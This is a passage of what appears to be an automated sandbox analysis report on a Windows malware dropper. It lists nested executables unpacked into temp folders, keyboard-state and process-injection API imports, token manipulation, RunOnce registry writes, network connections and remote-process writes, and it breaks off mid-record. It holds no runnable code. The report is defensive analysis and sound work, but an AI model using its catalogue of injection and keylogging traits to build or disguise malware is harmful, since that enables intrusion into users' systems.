/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m04.amazontrust.com" Contains base62 string in header "2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m04.amazontrust.com" Contains base62 string in header "MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPW" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEk8qlS4%2B0YpYvbhdG8DOXyc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base62 string in header "2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEk8qlS4%2B0YpYvbhdG8DOXyc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com"5a:T488,Found reference to API "UnregisterHotKey" (Indicator: "UnregisterHotKey"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "RegisterHotKey" (Indicator: "RegisterHotKey"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "VkKeyScanW" (Indicator: "VkKeyScan"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "AttachThreadInput" (Indicator: "AttachThreadInput"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3")5b:T6fa,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "FindFirstFileW" with parameter %TEMP%\IXP000.TMP\*.* (UID: 00000000-00001476) "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001476) "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "FindNextFileW" with parameter 6gz238.exe (UID: 00000000-00001476) "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "FindNextFileW" with parameter Px7mP64.exe (UID: 00000000-00001476) "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "FindFirstFileA" with parameter %TEMP%\IXP000.TMP\* (UID: 00000000-00001476) "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00001476) "Px7mP64.exe" called "FindFirstFileW" with parameter %TEMP%\IXP001.TMP\*.* (UID: 00000000-00003376) "Px7mP64.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003376) "Px7mP64.exe" called "FindNextFileW" with parameter 5IC74Hi.exe (UID: 00000000-00003376) "Px7mP64.exe" called "FindNextFileW" with parameter yX3Tk97.exe (UID: 00000000-00003376) "Px7mP64.exe" called "FindFirstFileA" with parameter %TEMP%\IXP001.TMP\* (UID: 00000000-00003376) "Px7mP64.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00003376) "yX3Tk97.exe" called "FindFirstFileW" with parameter %TEMP%\IXP002.TMP\*.* (UID: 00000000-00000292) "yX3Tk97.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00000292) "yX3Tk97.exe" called "FindNextFileW" with parameter 3Wl168Kl.exe (UID: 00000000-00000292) "yX3Tk97.exe" called "FindNextFileW" with parameter 4fJ5jN0.exe (UID: 00000000-00000292)5c:T7be,Found string "AeSGg" (Indicator: "aes"; File: "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3") Found string "FromBase64" (Indicator: "base64"; File: "00004648.00001228.5790327.00402000.wprm") Found string "AesGcm256" (Indicator: "aes"; File: "00004648.00001228.5790327.00402000.wprm") Found string "AesFastEngine" (Indicator: "aes"; File: "00004648.00001228.5790327.00402000.wprm") Found string "FromBase64String" (Indicator: "base64"; File: "00004648.00001228.5790327.00402000.wprm") Found string "FromBase64String" (Indicator: "FromBase64String"; File: "00004648.00001228.5790327.00402000.wprm") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; File: "00004648.00001228.5790327.00402000.wprm") Found string "base64str" (Indicator: "base64"; File: "00004648.00001228.5790327.00402000.wprm") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; File: "00004648.00001228.5790327.00402000.wprm") Found string "FromBase64CharArray" (Indicator: "base64"; File: "00004648.00001228.5790327.00402000.wprm") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; File: "00004648.00001228.5790327.00402000.wprm") file/memory contains long string with (Indicator: "aes"; File: "SSL") file/memory contains long string with (Indicator: "aes256"; File: "SSL") Found string "AeSGg" (Indicator: "aes"; Source: "00000000-00001476.00000000.82470.0115A000.00000002.mdmp") Found string "system.security.cryptography.csp.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002204.00000001.86167.002C0000.00000004.mdmp") Found string "system.io.compression.zipfile.dll" (Indicator: "zipfile"; Source: "00000000-00002204.00000001.86167.002C0000.00000004.mdmp") Found string "system.security.cryptography.x509certificates.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002204.00000001.86167.002C0000.00000004.mdmp")5d:T12af,Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00000292.00000000.82576.00310000.00000004.mdmp, 00000000-00000292.00000001.84498.00310000.00000004.mdmp, 00000000-00000292.00000002.84790.00310000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00000292.00000000.82576.00310000.00000004.mdmp, 00000000-00000292.00000001.84498.00310000.00000004.mdmp, 00000000-00000292.00000002.84790.00310000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00000292.00000000.82576.00310000.00000004.mdmp, 00000000-00000292.00000001.84498.00310000.00000004.mdmp, 00000000-00000292.00000002.84790.00310000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00000292.00000000.82576.00310000.00000004.mdmp, 00000000-00000292.00000001.84498.00310000.00000004.mdmp, 00000000-00000292.00000002.84790.00310000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00000292.00000000.82576.00310000.00000004.mdmp, 00000000-00000292.00000001.84498.00310000.00000004.mdmp, 00000000-00000292.00000002.84790.00310000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000292.00000000.82576.00310000.00000004.mdmp, 00000000-00000292.00000001.84498.00310000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP001.TMP\yX3Tk97.exe" (Indicator: "\Device\"; Source: "00000000-00000292.00000000.82576.00310000.00000004.mdmp, 00000000-00000292.00000001.84498.00310000.00000004.mdmp, 00000000-00000292.00000002.84790.00310000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000292.00000002.84790.00310000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp, 00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp, 00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp, 00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp, 00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp, 00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp") Found string "\Device\HarddiskVolume2\e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Indicator: "\Device\"; Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp, 00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found string "\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00002204.00000001.86167.002C0000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00002204.00000001.86167.002C0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00002204.00000001.86167.002C0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00002204.00000001.86167.002C0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00002204.00000001.86167.002C0000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002204.00000001.86167.002C0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP000.TMP\6gz238.exe" (Indicator: "\Device\"; Source: "00000000-00002204.00000001.86167.002C0000.00000004.mdmp")5e:T1357,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: Px7mP64.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: Px7mP64.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Px7mP64.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: Px7mP64.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: Px7mP64.exe] Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: 3Wl168Kl.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: 3Wl168Kl.exe] Observed import api "CheckTokenMembership" which can "determine whether a specified security identifier (SID) is enabled in an access token" [Source: 3Wl168Kl.exe] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: 3Wl168Kl.exe] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: 3Wl168Kl.exe] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: 3Wl168Kl.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 3Wl168Kl.exe] Observed import api "GetAce" which can "obtain a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: 3Wl168Kl.exe] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: 3Wl168Kl.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: 3Wl168Kl.exe] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: 3Wl168Kl.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: 3Wl168Kl.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: 3Wl168Kl.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: 3Wl168Kl.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: 3Wl168Kl.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: 3Wl168Kl.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: yX3Tk97.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: yX3Tk97.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: yX3Tk97.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: yX3Tk97.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: yX3Tk97.exe] Observed import api "IsValidAcl" which can "validate an access control list (ACL)" [Source: 6gz238.exe] Observed import api "IsValidAcl" which can "validate an access control list (ACL)" [Source: 5IC74Hi.exe] Observed import api "IsValidAcl" which can "validate an access control list (ACL)" [Source: 4fJ5jN0.exe]5f:T436,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP0"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"") "Px7mP64.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "Px7mP64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP1"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"") "yX3Tk97.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "yX3Tk97.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP2"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"")60:T9c7,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Px7mP64.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" wrote 9728 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6gz238.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Px7mP64.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\yX3Tk97.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Px7mP64.exe" wrote 30720 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\5IC74Hi.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "yX3Tk97.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\3Wl168Kl.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000200100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "yX3Tk97.exe" wrote 762 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4fJ5jN0.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...61:T68c,TCP traffic to 64.233.180.84 on port 443 is sent without HTTP header TCP traffic to 142.251.214.35 on port 80 is sent without HTTP header TCP traffic to 142.250.141.94 on port 443 is sent without HTTP header TCP traffic to 157.240.22.35 on port 443 is sent without HTTP header TCP traffic to 155.102.176.88 on port 80 is sent without HTTP header TCP traffic to 142.251.218.206 on port 443 is sent without HTTP header TCP traffic to 142.251.151.119 on port 443 is sent without HTTP header TCP traffic to 57.144.180.128 on port 443 is sent without HTTP header TCP traffic to 162.159.140.229 on port 443 is sent without HTTP header TCP traffic to 104.18.20.94 on port 443 is sent without HTTP header TCP traffic to 104.19.230.21 on port 443 is sent without HTTP header TCP traffic to 104.18.20.177 on port 443 is sent without HTTP header TCP traffic to 35.171.231.76 on port 443 is sent without HTTP header TCP traffic to 18.238.80.57 on port 80 is sent without HTTP header TCP traffic to 151.101.1.21 on port 443 is sent without HTTP header TCP traffic to 13.226.94.62 on port 80 is sent without HTTP header TCP traffic to 52.84.24.24 on port 80 is sent without HTTP header TCP traffic to 99.84.160.50 on port 80 is sent without HTTP header TCP traffic to 18.164.126.61 on port 80 is sent without HTTP header TCP traffic to 18.238.45.26 on port 80 is sent without HTTP header TCP traffic to 142.251.152.4 on port 443 is sent without HTTP header TCP traffic to 142.251.108.95 on port 443 is sent without HTTP header TCP traffic to 142.251.218.99 on port 443 is sent without HTTP header TCP traffic to 150.171.110.193 on port 443 is sent without HTTP header62:T535,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6gz238.exe" with delete access "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Px7mP64.exe" with delete access "Px7mP64.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "Px7mP64.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "Px7mP64.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\5IC74Hi.exe" with delete access "Px7mP64.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\yX3Tk97.exe" with delete access "yX3Tk97.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "yX3Tk97.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "yX3Tk97.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "yX3Tk97.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4fJ5jN0.exe" with delete access "yX3Tk97.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\3Wl168Kl.exe" with delete access63:T6d9,OpenProcessToken RegCreateKeyExA RegOpenKeyExA RegCloseKey RegDeleteValueA GetModuleHandleW GetModuleFileNameA UnhandledExceptionFilter DeleteFileA FindNextFileA GetDriveTypeA CreateProcessA FindFirstFileA LoadLibraryA LockResource FindResourceA GetTickCount LoadLibraryExA GetSystemDirectoryA TerminateProcess GetTempPathA GetFileAttributesA CreateThread GetTempFileNameA GetSystemInfo CreateFileA CreateDirectoryA GetVersionExA GetStartupInfoW WriteFile GetProcAddress Sleep RegDeleteKeyW RegDeleteValueW RegEnumKeyExW GetUserNameW CreateProcessWithLogonW CreateProcessAsUserW SetSecurityDescriptorDacl RegOpenKeyExW RegCreateKeyExW IcmpSendEcho GetTempPathW GetSystemDirectoryW FindFirstFileExW Process32FirstW DeviceIoControl FindFirstFileW DeleteFileW WriteProcessMemory FindNextFileW CreateDirectoryW ExitThread CreateProcessW GetTempFileNameW CopyFileExW CopyFileW GetModuleFileNameW OpenProcess CreateFileW GetComputerNameW ReadProcessMemory GetVersionExW IsDebuggerPresent LoadLibraryExW CreateToolhelp32Snapshot GetFileAttributesW GetCommandLineW LoadLibraryW GetDriveTypeW VirtualAllocEx FindResourceExW VirtualAlloc GetModuleHandleExW GetFileSize GetCommandLineA Process32NextW OutputDebugStringW ShellExecuteW ShellExecuteExW GetWindowThreadProcessId FindWindowExW FindWindowW SetKeyboardState GetCursorPos GetClipboardData InternetOpenW HttpQueryInfoW InternetCloseHandle HttpSendRequestW FtpGetFileSize InternetCrackUrlW InternetQueryDataAvailable InternetOpenUrlW InternetReadFile InternetQueryOptionW FtpOpenFileW InternetConnectW sendto accept recvfrom recv listen closesocket send bind socket WSAStartup connect GetFileSizeEx64:T632,Wrote 112 instructions to a remote process Wrote 73 instructions to a remote process Wrote 2 instructions to a remote process Wrote 89 instructions to a remote process Wrote 10 instructions to a remote process Wrote 94 instructions to a remote process Wrote 42 instructions to a remote process Wrote 12 instructions to a remote process Wrote 22 instructions to a remote process Wrote 23 instructions to a remote process Wrote 57 instructions to a remote process Wrote 13 instructions to a remote process Wrote 74 instructions to a remote process Wrote 27 instructions to a remote process Wrote 20 instructions to a remote process Wrote 5 instructions to a remote process Wrote 9 instructions to a remote process Wrote 67 instructions to a remote process Wrote 21 instructions to a remote process Wrote 11 instructions to a remote process Wrote 24 instructions to a remote process Wrote 87 instructions to a remote process Wrote 7 instructions to a remote process Wrote 54 instructions to a remote process Wrote 30 instructions to a remote process Wrote 46 instructions to a remote process Wrote 17 instructions to a remote process Wrote 113 instructions to a remote process Wrote 65 instructions to a remote process Wrote 19 instructions to a remote process Wrote 40 instructions to a remote process Wrote 88 instructions to a remote process Wrote 48 instructions to a remote process Wrote 16 instructions to a remote process Wrote 39 instructions to a remote process Wrote 25 instructions to a remote process Wrote 4 instructions to a remote process65:T461,Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "c30b12c3a53f8b45c905634adcd928dd.exe") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "c30b12c3a53f8b45c905634adcd928dd.exe") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; File: "00002928.00000B70.12029612.00402000.wprm") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00003996.00000001.70040.0014D000.00000004.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00005056.00000003.70081.00F0A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00005056.00000003.70081.00F0A000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00005192.00000000.66259.0134A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00005192.00000000.66259.0134A000.00000002.mdmp")66:T74a,"AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")67:T536,"AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; 